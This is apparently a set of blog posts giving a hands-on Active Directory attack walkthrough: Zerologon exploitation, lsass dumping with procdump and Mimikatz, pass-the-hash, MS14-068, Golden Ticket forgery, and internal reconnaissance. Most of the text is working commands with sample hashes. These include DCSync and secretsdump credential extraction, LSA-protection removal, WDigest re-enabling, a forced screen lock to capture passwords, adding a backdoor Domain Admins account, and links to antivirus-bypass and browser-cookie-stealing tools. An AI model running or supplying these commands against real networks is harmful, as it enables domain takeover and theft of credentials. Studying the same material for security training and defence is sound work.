Method 2: Tool from https://github.com/SecuraBV/CVE-2020-1472

1

python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111

Step 2: Empty the Domain Controller HASH

Note: A domain controller’s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller’s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. This causes the domain controller to lose its domain trust, making Kerberos authentication unavailable, so it must be restored as soon as possible.

Method 1: Mimikatz

1

mimikatz.exe "lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit" exit

Method 2: Tool from https://github.com/risksense/zerologon

1

python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110

Method 3: Tool from https://github.com/dirkjanm/CVE-2020-1472

1

python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110

Step 3: Retrieve the Domain Administrator HASH

Method 1: Mimikatz

1

lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:"" /authntlm

The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e.

Method 2: Impacket

The Impacket toolkit is available at https://github.com/SecureAuthCorp/impacket. Use its secretsdump.py tool to retrieve the domain administrator HASH:

1
2
3
4
5
6


# 31d6cfe0d16ae931b73c59d7e0c089c0 is the hash of an empty value
python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/WIN-RITHFS5KHEN$@192.168.0.111
OR
python3 secretsdump.py MAIN/DC01$@192.168.43.100 -just-dc -no-pass

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'secura.yzx/DC01$@192.168.131.97' -just-dc -no-pass

The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e. At this point, note that the HASH for the domain controller WIN-RITHFS5KHEN$ in NTDS.DIT is already the empty value 31d6cfe0d16ae931b73c59d7e0c089c0.

For reference, the Administrator hash is 2b2ddd54e1f78fab85e7c662f672f30e.

Step 4: Restore the Domain Controller HASH

(You could skip this step, but that leaves traces behind, and failing to restore it may also cause the domain controller to go down. So we need to restore it.)

When Mimikatz restores the domain controller HASH, it changes both the credential in NTDS.DIT and the credentials in the registry/lsass to (Waza1234/Waza1234/Waza1234). This is not the original value. Although the domain will continue to work, this still leaves traces.

The recommended approach is to restore the original HASH. First, retrieve the domain controller’s original HASH from the registry data. You can do this with wmiexec.py or psexec.py from the Impacket package. The following example uses wmiexec.py and passes the HASH obtained for the domain administrator in the previous step:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


# PTH getshell
python wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111

# Retrieve registry dump files; by default, they are stored in C:\ on the target host
# A Chinese-language target system may report a decoding error; this does not affect operation
# /y: force overwrite of existing files, preventing a same-named file in C:\ on the target from causing an overwrite prompt that can stall a semi-interactive session
C:\>reg save HKLM\SYSTEM system.hive /y
C:\>reg save HKLM\SAM sam.hive /y
C:\>reg save HKLM\SECURITY security.hive /y

# Download the dump files locally
C:\>lget system.hive
C:\>lget sam.hive
C:\>lget security.hive

# Delete the dump files from the target host
C:\>del /f system.hive
C:\>del /f sam.hive
C:\>del /f security.hive

C:\>exit

# Export hashes from the registry dumps
python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

The result is shown below. The domain controller key (HEX) is: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82

The NTLM HASH is: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93. Note that this differs from the empty HASH captured in the previous step, because that step retrieved the domain controller HASH record from NTDS.DIT, while this one retrieves the HASH record from the registry.

Next, restore it with a tool by synchronizing the HASH record in the registry back to NTDS.DIT:

Method 1: Tool from https://github.com/risksense/zerologon

This project explains the process very clearly. Just follow its steps.

Restore using the NT HASH:

1

python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93

Method 2: Tool from https://github.com/dirkjanm/CVE-2020-1472

Restore using the key (HEX):

1

python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099

Method 3: PowerShell

First, use a remote command-execution tool (wmiexec, psexec, smbexec, atexec, and so on) to obtain a shell on the domain controller. Then use a powershell command to reset the host HASH. Note that this does not restore the original HASH. Instead, it resets the credential in NTDS.DIT and the credentials in the registry/lsass to a random value:

1
2
3


python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100

C:\>powershell -c Reset-ComputerMachinePassword

Step 5: Verify That the Domain Controller HASH Was Restored

1

python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/administrator@192.168.0.111

Active Directory Pentesting: PTT, PTH, and PTC

Tue, 19 Nov 2024 08:58:00 +0800

Learning Active Directory Pentesting

[TOC]

During a penetration test, we often run into a scenario like this: a server in the domain exposes a web service through a port mapping on the router. We exploit a web script vulnerability and gain system privileges on that host. If the client wants us to go further and test the internal network to demonstrate the serious risks facing the company, this is where internal Active Directory penetration comes in. Our usual goal is to gain control of the domain controller, because once the DC falls, the entire internal network is effectively in our hands.

1. Lab Setup

Before we begin, we need to set up a domain environment. Since this is only for teaching and testing, one domain controller and one domain-joined host are enough. I use windows server 2012 and windows 7 here. By compromising windows 7, or simply controlling it directly, we can simulate a compromised host and use it to study Active Directory penetration.

The windows server 2012 machine has an Administrator user (the domain controller’s super-administrator account). Windows7 has a dada user (a member of the Administrators group) and a xiao user (a standard domain user).

2. Information Gathering in the Domain

The first step in every penetration test is information gathering, and a domain is no exception.

① Identify the Environment

Inside the domain, first identify the compromised host’s current internal-network environment, including details such as the topology. The following commands can help you quickly get your bearings.

1
2
3
4
5


route print # View routing information
arp -a # View all devices in the domain
ipconfig /all # Determine whether the host is domain-joined from the DNS suffix and DNS server
ping "DOMAIN_NAME"
net time /domain # View system time and identify the primary domain

During a penetration test, remember to save the data you collect. Do not just glance at it and lose it, and try not to query the same information repeatedly. Every action should be clean and efficient.

② Domain Information

Besides learning about the internal-network environment, we can query domain-related information directly with commands.

1. net view

View devices in the local workgroup/domain environment.

View online hosts in the domain. At this point, we can see the two machines in the domain: the compromised XZM-PC and the domain controller AD.

If error 6118 appears =>

Disable the firewall; 2. enable the services (Computer Browser, Server, and Workstation); 3. reopen CMD.

2. net view /domain

See how many domains currently exist. Here, we can see one domain named MAO.

3. net user /domain

View users in the domain. Besides the usual administrator and guest accounts, we can see a krbtgt user. This account is extremely important, and we will come back to it later.

4. net group /domain

View information about the domain’s groups.

There are quite a few groups here, so I will list a few of the key ones.

*Domain Admins — administrators group

*Domain Computers — hostnames

*Domain Controllers — domain controllers group

*Enterprise Admins — enterprise-level administrators

You can use net group group_name /domain to view the users in a group.

5. whoami /user

Determine your current privileges.

500: administrator
501: guest
1000+: standard user

6. net group “domain controllers” /domain

View the members of the domain controller administrators group (a high-privilege group in the domain).

Domain Admins — domain administrators group (high privilege)
Domain Computers — hosts joined to the domain
Domain Controllers — domain controllers (high privilege)
Domain Users — standard domain users
Enterprise Admins — enterprise administrators (high privilege)

8. systeminfo | findstr “KB”

View patch information.

7. Locate the Domain Controller

The domain controller has the highest privileges in the domain, so it is naturally our primary target. We can locate it using some of the commands introduced above.

Use net user /domain to view accounts in the domain and net group "domain controllers" /domain to view the domain controllers. You can quickly check your own privileges with whoami /user.

3. Local Authentication

① Windows Local Authentication

Before we start attacking, we need to understand how windows authentication works.

From studying the operating system, we know that C:\Windows\System32\config\SAM is the database file that stores host account passwords.

The windows login process is actually quite simple. winlogin.exe starts, and when the user enters an account name and password, they are sent to lsass.exe. lsass.exe converts the plaintext entered by the user into an NTLM hash and compares it with the data stored in the SAM file. If they match, the login succeeds.

Windows Logon is the user login program in the Windows operating system. It manages user login and logout and provides the interface where users enter their account names and passwords, also known as the login page or login screen.

lsass is part of the Microsoft windows security mechanism. It is a critical Windows operating-system process responsible for local security and login policies. It starts automatically when Windows boots and continues running in the background.

② NTLM hash

Of course, windows itself does not store plaintext passwords. The SAM file stores password hashes. During login, the user’s input is first converted into a hash before the comparison is performed.

Hashes are generally stored in two places:

1. The SAM file, stored on the local machine => corresponds to local users
1. The NTDS.DIT file, stored on the domain controller => corresponds to domain users

1. Hashing Process

The plaintext password entered by the user => hexadecimal => unicode => md4 algorithm => NTLM hash. As you can see, the entire process is fairly simple.

2. Stored Password Format

Example: administrator:500:LM hash:NTLM hash

The username comes first, followed by the user’s SID, then the LM hash and NTLM hash.

If the LM Hash begins with AAD3B, the password is empty or has not been set.

LM Hash stands for “LAN Manager Hash.” It is a hashing algorithm Microsoft adopted to improve the security of the Windows operating system, and it is essentially based on DES encryption. Although LM Hash is relatively easy to crack, Windows only disabled it to maintain system compatibility (starting with Windows Vista and Windows Server 2008, Windows disables LM Hash by default). LM Hash plaintext passwords are limited to 14 characters, so if you want to stop using LM Hash, simply set the user’s password to more than 14 characters.

3. lsass.exe

During lateral movement and privilege escalation on an internal network, the most common approach is to dump the lsass.exe process to obtain plaintext passwords or hashes. lsass.exe (Local Security Authority SubsystemService) is a system process used by the Microsoft Windows security mechanism for local security and login policies. Its process space contains important information such as the machine’s domain, local usernames, and passwords. However, you must first obtain high privileges before you can access it.

4. Extracting Passwords from lsass.exe

① Procdump

procdump is a command-line tool mainly used to monitor abnormal CPU activity in applications and create memory dumps. As mentioned above, plaintext and encrypted passwords are both stored in lsass, so procdump can dump lsass’s memory resources. Here are some of its parameters.

1. Relevant Parameters

-ma: Writes a “full” dump file. [Includes all memory (images, mappings, and private memory), as well as all metadata for processes, threads, modules, handles, address spaces, and so on.]
-accepteula: Automatically accepts the Sysinternals license agreement when this command-line option is used.

2. Basic Usage

It is very straightforward: specify the options and the process whose memory you want to dump, then provide an output filename. You immediately get a memory dump file with the .dmp extension. (This requires a command-line window running with administrator privileges.)

1
2
3


procdump.exe -ma -accepteula lsass.exe passwd.dmp # Dump in-memory hashes locally as passwd.dmp

pypykatz lsa minidump ./pass.dmp # This works very well

Normally, we cannot open passwd.dmp directly; opening it in Notepad only shows garbled text. This is where another small tool, Mimikatz, comes in to read passwd.dmp.

② Mimikatz

Mimikatz is a powerful, lightweight debugging tool developed by the French researcher benjamin. It was originally intended for personal testing, but its powerful ability to read plaintext passwords directly from operating systems such as WindowsXP-2012 made it famous in penetration testing. You could call it an essential penetration-testing tool.

1. Relevant Parameters

Mimikatz has many parameters, so I will only cover the commonly used ones here.

1
2
3
4


mimikatz # :: Display help
mimikatz # cls Clear the screen
mimikatz # log Log captured information
mimikatz # hostname View the hostname

privilege module

(This requires a command-line window running with administrator privileges.)

1

mimikatz # privilege::debug Elevate Mimikatz privileges using its built-in exploit against the current host

sekurlsa module

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


1. Extract passwords for users logged on to the current system; elevate Mimikatz privileges first
mimikatz # sekurlsa::logonpasswords Retrieve all account passwords; simpler than using Procdump
2. Capture user NTLM hashes from memory and list LM and NTLM credentials
mimikatz # sekurlsa::msv
3. Load the DMP file and extract plaintext passwords
mimikatz # sekurlsa::minidump passwd.dmp Switch context
mimikatz # sekurlsa::logonpasswords full List all available credentials
4. Export all tickets from the lsass.exe process
mimikatz # sekurlsa::tickets /export
5. List Kerberos credentials
mimikatz # sekurlsa::kerberos Retrieve in-domain Kerberos authentication data, including account passwords
6. Pass the hash
mimikatz # sekurlsa::pth

lsadump module

1
2
3


mimikatz # lsadump::sam Read the SAM file to obtain usernames and NTLM hashes
mimikatz # lsadump::secrets Retrieve the current user's password
mimikatz # lsadump::dcsync /user:krbtgt Retrieve krbtgt user information from the domain controller

kerberos module

1
2
3
4
5
6
7


1. List tickets on the system
mimikatz # kerberos::list List tickets
mimikatz # kerberos::tgt List tickets
2. Clear tickets from the system
mimikatz # kerberos::purge Clear tickets
3. Import a ticket into the system
mimikatz # kerberos::ptc TICKET_PATH

process module

1
2
3


mimikatz # process::start command Start a process
mimikatz # process::stop command Stop a process
mimikatz # process::list List processes

Mimikatz works so well that antivirus software will flag it. If you plan to run Mimikatz on a target machine, first consider whether you need to make it evade detection.

2. Basic Usage

Mimikatz can extract plaintext passwords from memory. After loading the dmp file obtained with procdump using sekurlsa::minidump, you can read passwords with commands such as sekurlsa::logonpasswords full. The result looks like this:

1
2
3


mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

Here, we can see administrator information in the screenshot. Getting this information in a real environment basically means the engagement is over.

3. Advanced Usage

① Use Mimikatz with a dump file created by procdump to extract credentials.

1
2
3


mimikatz # log //Log captured information
mimikatz # sekurlsa::minidump passwd.dmp //Switch context by mounting the DMP file
mimikatz # sekurlsa::logonpasswords //List all available credentials

② Use Mimikatz directly to extract credentials (administrative privileges required).

1
2
3
4


mimikata # log //Log captured information
mimikatz # privilege::debug //Elevate privileges to enable privileged Mimikatz operations
mimikatz # sekurlsa::msv //Extract hashes from memory
mimikatz # sekurlsa::logonpasswords //List all available credentials

With Local Administrator Privileges

Extract Passwords

1
2
3
4
5
6
7
8
9


procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

hashdump: post/windows/gather/smart_hashdump
cme smb <ip_range> -u <user> -p <password> -M lsassy
cme smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds

Bypass the LSA Protection Policy to Read Passwords

1
2
3


PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp

mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-" #with mimidriver.sys

Workflow summary:

Obtain the NTLM hash

Use procdump/PPLdump to dump the lsass process
Use mimikatz to analyze the dump file and extract the hash

Choose a path using the NTLM hash:

Crack the hash to obtain the plaintext password
Use the hash directly in a PTH attack (when it cannot be cracked)

Key points:

NTLM hashes are generated the same way on all Windows systems (MD4)
The same password produces the same hash on different machines
PTH can authenticate without the plaintext password
A dump of lsass contains credential information for every logged-in user

In particular:

The hash of the administrator who is currently logged in
Hashes of other logged-in users
Hashes of system service accounts

But keep in mind:

You can only obtain hashes for users who have logged in
Information for users who have never logged in will not be present in lsass

In practice, cracking md4 can also recover the plaintext password.

5. Lab: PTH (pass-the-hash)

① Introduction

Pass-the-hash is a hacker technique in which an attacker uses the hash of a user’s password to authenticate to a remote server and expand their foothold. It is essentially a form of credential stuffing. Once we have an NTLM hash, we can very easily launch a PTH attempt with Mimikatz’s sekurlsa::pth.

Limitation: the hash must remain static (the password must not be changed)
Applicable to: domains/workgroups where a hash can be obtained but not cracked, and where machines on the internal network share the same password.
KB2871997: fixed PTH for standard users, but not administrators. On systems >= win server 2012, plaintext passwords cannot be captured from the lsass process.

Because KB2871997 fixed PTH for standard users, privilege::debug is needed to elevate privileges (from a high-privilege terminal).

② Prerequisites

To use Mimikatz’s sekurlsa::pth module, you need to know at least the following:

PTH target: use commands such as net user /domain to view domain-user information
Domain name: use commands such as net view /domain to view the domain name
NTLM hash: obtain it with procdump and Mimikatz

1
2
3
4


Additional notes:
1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # Enable password capture

2. rundll32 user32.dll,LockWorkStation # Force the lock screen so the user logs in again and the password can be captured from lsass.exe

③ When It Applies

This applies when you do not need the user’s password, only have the domain controller’s NTLM Hash, and cannot crack it.

④ Information Gathering

Find the PTH target => Administrator

View members of the administrators group => choose Administrator as the target

Domain name => MAO

Obtain the administrator’s ntml hash => 570a9a65db8fba761c1008a51d4c95ab

1
2
3


Mimikatz.exe can handle all of this:
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

⑤ Launch the Attack

Method 1: Direct PTH with Mimikatz

1
2
3
4


sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN_NAME> /ntlm:<ntlm hash> [/run:name]

privilege::debug
sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd

This gives us control of the domain controller. (If all parameters are correct but the attack still fails, try closing the Mimikatz window, start cmd.exe again as administrator, elevate privileges again, and rerun the attack. The command after run is optional; by default, it opens cmd.exe on the domain controller.)

Method 2: Use Credential-Passing Scripts to Obtain a Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


①smbexec.py
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
smbexec.py administrator:'password'@<target-ip>

②wmiexec.py
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
wmiexec.py administrator:'password'@<target-ip>

/opt/impacket/build/scripts-3.12/psexec.py administrator:'password'@10.10.10.97
PsExec.exe \\WindowsServerAD.test.local -u test\administrator -hashes :2b2ddd54e1f78fab85e7c662f672f30e cmd
PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 FOREST/administrator@10.10.10.161
psexec.exe "administrator"@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


1. Can passing a standard user's hash still provide a shell?
2. Does the standard user's hash belong to a domain account or a standard account on the domain controller?
3. If a standard account on the domain controller supports PTH, does creating it there automatically make it a domain account?

1. Passing a standard user's hash:
A shell is possible, but permissions are limited
Only authorized resources are accessible
Administrative operations are unavailable
2. Source of a standard user's hash:
It is the hash of a domain user account
It is not a local account hash
The credential is used for domain authentication
3. Domain accounts and local accounts:
A user created on the domain controller automatically becomes a domain user
Domain users can authenticate within the domain
Local accounts can only be used on their host
Key point: PTH passes a domain account hash, whether the account is an administrator or a standard user.
A shell on the domain controller requires its administrator hash

6. Kerberos Authentication Protocol

Kerberos is a third-party authentication protocol that uses symmetric encryption to provide strong authentication for client/server applications. In Greek mythology, Kerberos is the three-headed hound guarding the gates of Hades. Its three heads represent the three roles in the protocol, as shown below:

The Client accessing the service (the party sending the request)
The Server providing the service (the party receiving the request)
The KDC, or Key Distribution Center, which contains the following two services:

AS, the authentication service (Authentication Server) [dedicated to authenticating the client and issuing the TGT the client uses to access the TGS]
TGS, the ticket authorization service (Ticket Granting Server) [issues the tickets needed throughout authentication and the service ticket the client needs to access the server]

DC (Domain Controller): domain controller
KDC (Key Distribution Center): key distribution center
AS (Authentication Server): authentication server
TGS (Ticket Granting Server): ticket-granting server
TGT (Ticket Granting Ticket): ticket-granting ticket

Authentication Overview

First, the client sends a request to the AS and obtains a TGT.
The client uses the TGT obtained from the AS to send a request to the TGS. After successfully decrypting the TGT, the TGS generates a new ticket and returns it to the client.
The client uses the new ticket returned by the TGS to send a request to the server for authorization.

7. Lab: PTC (pass-the-cache)

If we can obtain a user’s TGT and import it into memory, we can impersonate that user and gain their access privileges.

① MS14-068 Vulnerability

MS14-068 is a Windows vulnerability in the Key Distribution Center (KDC) service. It allows an authenticated user to insert an arbitrary PAC (the structure representing all user privileges) into a Kerberos ticket (TGT). The vulnerability is located in kdcsvc.dll in the domain controller’s Key Distribution Center. A user can obtain a ticket by presenting a kerberos TGT with a modified PAC.

High privileges are required.

Affected Versions

Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2
Windows Vista, Windows 7, Windows 8, and Windows 8.1

Patch Number and Exploitation Requirements

Patch number: KB3011780

Exploitation requirements:

Obtain access to a host (a domain-joined host)
Collect the account name, password, SID, and domain information for any user in the computer domain
The MS14-068 patch is not installed

#There is a problem with this tutorial. If you have an administrator account and password, you can probably use PTH. The defining feature of MS14-068 is that a standard domain account can escalate to domain administrator, which is why the vulnerability is so severe. Any standard domain user is enough here.

② Information Gathering

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


1. Domain administrator SID
whoami /all => S-1-5-21-863777703-696496247-1862912240-500

2. Domain administrator plaintext password
mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full => Admin@123

3. Domain information, including the full domain name
ipconfig /all

Windows is case-insensitive, so both mao.com and MAO.COM work.

③ Exploitation

1. Generate a Domain Administrator Key

1
2
3
4


Use an existing script to obtain a ticket:
ms14-068.exe -u <USERNAME@DOMAIN_NAME> -s <SID> -d <IP_ADDRESS> -p <USER_PASSWORD>

MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123

2. Import the Generated Ticket into Memory

Then use Mimikatz’s kerberos::ptc module to load the ticket.

1
2
3


mimikatz.exe
privilege::debug
kerberos::ptc TGT_Administrator@MAO.COM.ccache

3. Open an Administrator Terminal with the Current Privileges

Use Mimikatz’s misc::cmd module to open a new window and verify our current privileges.

1
2


misc::cmd
dir \\192.168.126.10\c$

4. Use PsExec.exe to Obtain an Interactive Shell

From the administrator terminal we just created, use PsExec.exe to obtain an interactive shell and create a user belonging to the administrators group.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


A plaintext password can also be used with psexec.exe
PsExec64.exe \\192.168.0.110 -u Administrator -p Admin@123!@# -s cmd.exe

If the ticket is already imported, obtain a shell directly; this step is PTC
PsExec.exe \\192.168.126.10 cmd
ipconfig
whoami
net user carmi carmi@123 /add /domain
net group "Domain Admins" carmi /add /domain
net group "Domain Admins" /domain

PTC on linux

Find ticket cache files:

1
2
3


# Default locations
ls /tmp/krb5cc_*
ls ~/.krb5cc_*

Import the ticket:

1
2
3
4
5


# Set the environment variable; the tool reads KRB5CCNAME, whose value is the cache path
export KRB5CCNAME=/tmp/krb5cc_1000

# View tickets
klist

Use the ticket:

1
2
3


# Impacket tools
psexec.py -k -no-pass test.domain/administrator@dc.test.domain
smbexec.py -k -no-pass test.domain/administrator@dc.test.domain

Main use cases:

Linux joined to a domain environment
Penetration testing inside a domain
Cross-platform attacks

8. Lab: PTT (pass-the-ticket) Golden Ticket

① Introduction

The KDC’s job is to generate a TGT for any user. That raises a question: what would let someone generate a TGT for an arbitrary user? We need to look back at the kerberos authentication process. During windows authentication, the client sends its own information to the KDC. The KDC then uses the NTLM hash of the krbtgt user's password as the encryption key and generates a TGT.

In one sentence: the TGT is generated by the KDC using the hash of the krbtgt user’s password as the key, together with the client’s own information.

So if we obtain the hash of the krbtgt password, can we forge any TGT? Absolutely. However, because krbtgt exists only on the domain controller, using a Golden Ticket (a pass-the-ticket attack) means we must already have compromised the domain controller. A Golden Ticket can therefore be understood as a backdoor.

The Krbtgt user is generated automatically when the domain controller is created.

As long as the krbtgt user’s password is not changed, a Golden Ticket can be used to create ticket information for any user and inject it into memory.

Using a Golden Ticket requires communication with the domain controller.

② Prerequisites

Domain name and domain SID (with the rid removed): obtain them with whoami /user
Username to forge (the target): obtain it using methods such as net user /domain
Hash of the krbtgt user: obtain it using methods such as Mimikatz

③ Information Gathering

Use mimkatz to obtain the krbtgt hash (only this step must be performed on the domain controller) => e798fdc7ba810c372ef7bffcdc8f2d13

Mimkatz can be finicky, and because of issues with the software, directly pasting Mimikatz content into the command line may fail or even crash the program. We can work around that by generating a log.

1
2
3
4


mimikatz.exe
log
privilege::debug
lsadump::dcsync /user:krbtgt

Domain SID (no privileges are required to retrieve it): whoami /user => S-1-5-21-863777703-696496247-1862912240 (the portion after the last hyphen represents the user’s privileges, so we only need the first part)

Username to forge (target): net user /domain => Administrator

Domain name (full domain name): ipconfig /all => mao.com

③ Exploitation

Run these operations from an administrator window.

1. Clear Existing Tickets

Existing tickets must be cleared before generating a ticket. As a result, if ticket generation fails, the host will no longer be able to access information in the domain (it effectively leaves the domain).

After clearing the tickets with kerberos::purge, you can use kerberos::golden to generate a ticket.

1
2
3


mimikatz.exe
privilege::debug
kerberos::purge Clear tickets

2. Generate a Ticket

1
2
3


kerberos::golden /user:<FORGED_USERNAME> /domain:<FULL_DOMAIN_NAME> /krbtgt:<KRBTGT_USER_HASH> /sid:<DOMAIN_SID> /ticket:<OUTPUT_FILENAME.kirbr>

kerberos::golden /user:Administrator /domain:test.local /krbtgt:fc9433a1a38088e6b6b74e2c29cf02bd /sid:S-1-5-21-1304053684-1769385709-786886762-500 /ticket:carmi.kirbr

3. Inject the Ticket

1

kerberos::ptt carmi.kirbr

4. Create a Domain Controller Session

1
2
3
4
5


misc::cmd
whoami
dir \\192.168.126.10\c$
PsExec.exe \\192.168.126.10 cmd
ipconfig

https://blog.csdn.net/m0_55751267/article/details/127990619 explains the principles behind Silver and Golden Tickets.

This blog post: https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD

Mimikatz antivirus bypass: https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0

References:

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround

Active Directory Pentesting: A Basic Workflow

Sun, 17 Nov 2024 12:00:00 +0800

Internal Network Information Gathering

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


1. User list net user /domain
Windows user list: analyze email users; internal [domain] email users are usually internal [domain] users

2. Process list tasklist /svc
Analyze antivirus/security monitoring tools, email clients, VPN, FTP, etc.

3. Service list	tasklist /svc
Security-related services [determine whether they can be manually enabled or disabled] and vulnerable services [permissions/vulnerabilities]

4. Port list	netstat -ano
Common services/applications on open ports [anonymous access/permissions/vulnerabilities, etc.]; use ports for information gathering

5. Patch list	systeminfo
Analyze Windows patches and vulnerabilities in third-party software [Java/Oracle/Flash, etc.]

6. Local shares	smbclient -L ip
		 net user \\ip\c$
Local share list/access permissions and domain shares accessed by the local host/access permissions

7. Analyze the current user's habits
History, favorites, documents, etc.

8. Obtain the current user's password
Windows
mimikatz
Invoke-WCMDump
mimiDbg
LaZagne
NirLauncher )
quarkspwdump
Linux
mimipenguin
LaZagne
Browsers
HackBrowserData
SharpWeb
SharpDPAPI
360SafeBrowsergetpass
BrowserGhost
Browser-cookie-steal (steal browser cookies)

Navicat passwords
Versions: Navicat 11 or 12

Method: https://blog.csdn.net/CCESARE/article/details/104746596

Decryption script: https://github.com/tianhe1986/FatSmallTools

https://github.com/HyperSine/how-does-navicat-encrypt-password

Xshell and Xftp passwords
https://github.com/dzxs/Xdecrypt

mRemoteNG passwords
https://github.com/kmahyyg/mremoteng-decrypt

https://github.com/haseebT/mRemoteNG-Decrypt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


Common port scanning tools
nmap
masscan
zmap
S Scanner
Custom scripts
nc
……
Internal network topology analysis
DMZ
Management network
Production network
Test network
Common information-gathering commands

# ipconfig
ipconfig /all ------> Query the local IP range, domain, etc.

# net
net user ------> List local users
net localgroup administrators ------> List local administrators [usually includes domain users]
net user /domain ------> Query domain users
net group /domain ------> Query groups in the domain
net group "domain admins" /domain ------> Query the Domain Admins group
net localgroup administrators /domain ------> List domain administrators logged on to the local host
net localgroup administrators workgroup\user001 /add -----> Add a domain user to the local host net group "Domain controllers" -------> List domain controllers (if there are multiple)
net view ------> List machines in the same domain net view /domain ------> List domains
net view /domain:domainname

# dsquery
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> List all machine names in the domain
dsquery computer ------> List machine names
dsquery user domainroot -limit 65535 && net user /domain------> List all usernames in the domain
dsquery subnet ------> List subnet divisions in the domain
dsquery group && net group /domain ------> List groups in the domain
dsquery ou ------> List organizational units in the domain
dsquery server && net time /domain------> List domain controllers in the domain

Third-party information gathering
NETBIOS information gathering
SMB information gathering
Null-session information gathering
Vulnerability information gathering, etc.

Common Commands

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# Create a local account
net user /add jerry 123456
# Create a domain user from a domain member (administrator privileges required)
net user /add jerry 123456 /domain
# Create a domain member on the domain controller
net user /add jerry 123456

